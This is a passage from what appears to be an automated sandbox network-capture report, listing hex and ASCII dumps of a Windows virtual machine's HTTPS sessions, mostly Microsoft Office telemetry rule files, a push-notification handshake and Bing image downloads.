f2 9b ef 79 92 21 Data Ascii: unJJKo^F[\y/uY"u{?KuqwkZql27tQ{C~Eo}7L<5uZnq5<nG\'$uJUS-;!/6%h__%Qw>ow.&q{Y./nxx5&qc,W3v~L\|\Ocobty!
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: 6f 6b a2 df dd 69 b1 dc 43 b6 de 17 83 cd df 1c 6c 33 b7 76 07 bf f7 ab bd 61 60 e0 9b 96 9e a2 72 b7 bd 73 27 c4 c7 c4 be 28 92 6d 3f 47 d3 75 2f b5 7f aa 87 c9 db 13 24 83 38 f3 a4 cf c9 bc 71 b1 7f 13 5d 57 8c 3c 35 63 75 e0 38 61 bc 83 fe 26 9a 4b ab 5d df 4d 74 b1 6f 8c 28 f3 36 aa f4 cb f4 f5 15 c8 f8 cb 5b d7 2e a7 d2 61 87 56 8e ea f1 51 65 b8 b7 44 dd fb ce 4f fa b1 f7 f0 bb 78 cd 5a f0 df 8d f5 3b 3b 19 ac fc 69 e7 dd 5a dc 5c 2f fa 3d ba 2c 4b b7 b7 98 c9 bb 72 83 db b5 75 d1 aa a1 4e 2e 0b 4f c4 c6 53 4f 5d cd 3d 43 e1 dd e6 93 a5 4d 6a b1 dd 6a 56 7b 37 25 be 97 02 ed 4d 8d f3 33 ab b0 27 7a e7 eb 5c 5a f8 56 c7 54 9d 1a 1f 0d d8 b2 ad c2 db 5a 5b ea 36 ac cd 34 85 77 fe e9 15 48 5c 77 cd 7a 0d c6 bf 16 a5 75 a8 47 ae 78 b2 3b 8b 86 b7 56 4b Data Ascii: okiCl3va`rs'(m?Gu/$8q]W<5cu8a&K]Mto(6[.aVQeDOxZ;;iZ\/=,KruN.OSO]=CMjjV{7%M3'z\ZVTZ[64wH\wzuGx;VK
2024-11-23 18:52:21 UTC	16069	IN	Data Raw: aa a6 ff 00 ba ed df 8a ca 78 9a 69 39 4a 1a 1b 73 54 b6 fa 94 3e 0f e8 6b 71 6f 71 33 7d bb ed 92 ee 89 21 87 e5 57 52 a3 a9 35 93 e2 4d 03 c6 ba 5d ad c6 a9 67 a1 7d 82 16 9b 6d 8d bf 96 db b7 37 a7 f7 7d 79 af 78 f0 ed 9a b4 1b ad 60 8f 6b 7c a9 b1 36 b2 29 ff 00 0a a7 e2 ef 0f 6a 16 1e 19 be bc 8e ff 00 ed 97 0d b7 c9 b4 d8 cd bd 8f 19 5e 6b e6 aa e3 63 ed b6 56 7d 19 eb 61 79 9c 52 b9 e2 bf d9 ba 7d e7 82 d2 f2 f2 7f ec bd 72 7b 85 8e f9 2d d3 6b 23 15 db 9d a7 85 5f 5c 57 61 f1 f3 4d f1 77 89 ec b4 cd 07 58 d3 1f 56 ba 5b 48 56 de 5d 26 c6 35 96 e6 3d bf 24 8f c0 f9 b7 71 fe ed 75 d6 7a 3c be 14 f0 ed c7 99 a4 c1 aa 78 c2 2d d3 d8 ff 00 67 5a ac fb 30 b8 f9 8b ff 00 10 af 2b d7 3c 43 f1 47 c1 fa f2 7d aa 0b a5 fe d6 89 99 fe 4d d1 ed 3d 9f 67 a7 a7 Data Ascii: xi9JsT>kqoq3}!WR5M]g}m7}yx`k\|6)j^kcV}ayR}r{-k#_\WaMwXV[HV]&5=$quz<x-gZ0+<CG}M=g
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: 79 d7 56 49 77 19 42 85 5f f8 73 fc 43 dc 76 ab 1a 06 93 71 af 6a ed 1d b2 3a 42 9f 34 d2 ec dc b6 f1 ff 00 79 ea 55 a1 e8 67 a5 3b ff 00 2a 31 6a c5 cf 98 15 63 7d d9 5f e1 35 b9 e1 d7 f0 fd 8f c4 0b 57 d4 a0 92 fb 47 82 e3 f7 a9 17 de 99 05 47 f1 22 7d 3e e3 c6 17 b2 69 71 c8 96 ad 2e 51 1f ef 2f b5 1c fe fa 56 05 52 f5 14 6d a5 ae 57 d6 b5 75 be d1 b4 db 15 b2 8a 1f ec f8 99 4c ab f7 a5 cb 67 2d 59 4a 71 c8 eb 4c a2 aa 31 51 56 46 91 8a 8a b2 3a ed 3f 50 f0 e6 ab e3 1b 5b 8f 11 25 cd a6 99 1d be d9 cd a2 2b 48 ee b1 f6 cf 1f 33 55 8d 57 4c f0 d5 cf 80 e0 d5 ac ae 05 8d e2 ca e8 6d e6 66 66 b8 c6 09 e9 d3 15 c4 d2 ee f9 76 d6 72 a3 76 9c 64 d5 8c 7e ae 93 8f 2b 6a c2 51 45 15 b1 d0 14 51 45 00 14 51 45 00 14 51 45 00 7d a5 0e b1 7d 2c 96 8b a3 da 58 ad Data Ascii: yVIwB_sCvqj:B4yUg;*1jc}_5WGG"}>iq.Q/VRmWuLg-YJqL1QVF:?P[%+H3UWLmffvrvd~+jQEQEQEQE}},X
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: da da 38 2d 74 fb e5 92 37 bc b0 48 65 bb d3 ae 1d be 48 dd 43 a6 f4 fe e8 e8 71 fd ea e6 f5 2f 07 7c 44 bf f1 e3 f8 7f 4f d2 6c 5a fa ea 15 96 d2 e1 35 18 d5 66 8c ae ed f1 3b 60 3f cb f8 8a ed c3 50 95 79 73 de fd ce 65 89 8a 86 81 e0 ff 00 18 68 76 52 6b 9a a6 ad 69 e6 dc 45 69 0b 58 bc a8 cd 02 4d e6 61 c4 a7 f8 17 69 aa de 07 d5 2f 35 08 f5 9b 3d 35 e0 d6 ed ed ed fc a9 a1 49 fc af 94 f0 9c f3 f2 8f bf df 9a d3 f0 bd b6 a1 a7 68 f7 6b a8 47 22 ea 57 1f 7d de 0d cb 33 23 6d 41 d3 6c 8a ff 00 3a 1f f6 aa cf c3 5b dd 2b fb 37 c4 9e 1d 87 4d 8f 4b b8 f1 1e 9c ca f7 c9 6a ab f6 28 d1 86 f9 3b 73 e9 fe e5 7b 54 69 51 49 d3 6b fe 1c e7 a9 29 3d 4f 37 d7 be 14 f8 ba 5b d8 b5 1d 4a f6 d2 0b 79 62 55 0e ee bb 6e 58 c9 f2 aa 22 f5 5e 7a f1 51 f8 ae 35 d2 fc 10 Data Ascii: 8-t7HeHCq/\|DOlZ5f;`?PysehvRkiEiXMai/5=5IhkG"W}3#mAl:[+7MKj(;s{TiQIk)=O7[JybUnX"^zQ5

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: d33c8b0a-101e-00a2-48c7-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185222Z-15b8b599d88wk8w4hC1TEB14b800000003a000000000fpew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185222Z-178bfbc474bq2pr7hC1NYCkfgg0000000500000000009wuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185222Z-174c587ffdfn4nhwhC1TEB2nbc00000003d000000000bkre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185222Z-15b8b599d88f9wfchC1TEBm2kc00000003g0000000006krx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185222Z-178bfbc474bv587zhC1NYCny5w00000004rg000000009wxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49742	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 76 2b 66 63 65 78 30 4d 55 36 6b 45 36 36 76 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 33 32 37 30 35 66 33 36 31 36 30 66 62 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +v+fcex0MU6kE66v.1Context: 8932705f36160fb3
2024-11-23 18:52:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 18:52:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 76 2b 66 63 65 78 30 4d 55 36 6b 45 36 36 76 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 33 32 37 30 35 66 33 36 31 36 30 66 62 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +v+fcex0MU6kE66v.2Context: 8932705f36160fb3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-23 18:52:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 76 2b 66 63 65 78 30 4d 55 36 6b 45 36 36 76 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 33 32 37 30 35 66 33 36 31 36 30 66 62 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +v+fcex0MU6kE66v.3Context: 8932705f36160fb3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 18:52:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 18:52:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 61 6b 6e 69 70 67 36 44 6b 47 39 62 7a 4c 6e 39 75 34 61 2f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gaknipg6DkG9bzLn9u4a/A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185224Z-178bfbc474bv587zhC1NYCny5w00000004qg00000000dmce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49746	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	346	OUT	GET /th?id=OADD2.10239381854852_1C494UCJY4KXHZI51&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:25 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 735997 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5091DE8AFCB1408884BD84B8D090990F Ref B: EWR311000101037 Ref C: 2024-11-23T18:52:24Z Date: Sat, 23 Nov 2024 18:52:24 GMT Connection: close
2024-11-23 18:52:25 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 33 3a 31 32 3a 32 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data 